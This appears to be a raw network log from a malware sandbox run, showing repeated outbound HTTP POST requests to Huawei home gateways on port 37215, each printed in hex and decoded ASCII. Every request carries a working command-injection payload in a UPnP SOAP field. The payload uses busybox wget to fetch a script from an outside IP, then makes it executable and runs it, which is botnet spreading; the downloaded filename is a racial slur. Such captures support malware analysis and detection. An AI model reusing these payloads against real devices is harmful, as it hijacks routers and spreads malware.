Feb 19, 2024 18:37:24.717566013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.273531914 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.129339933 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.065291882 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:39.489161015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336734056 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.15	54812	45.125.57.190	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:24.772454023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.593358040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.993375063 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
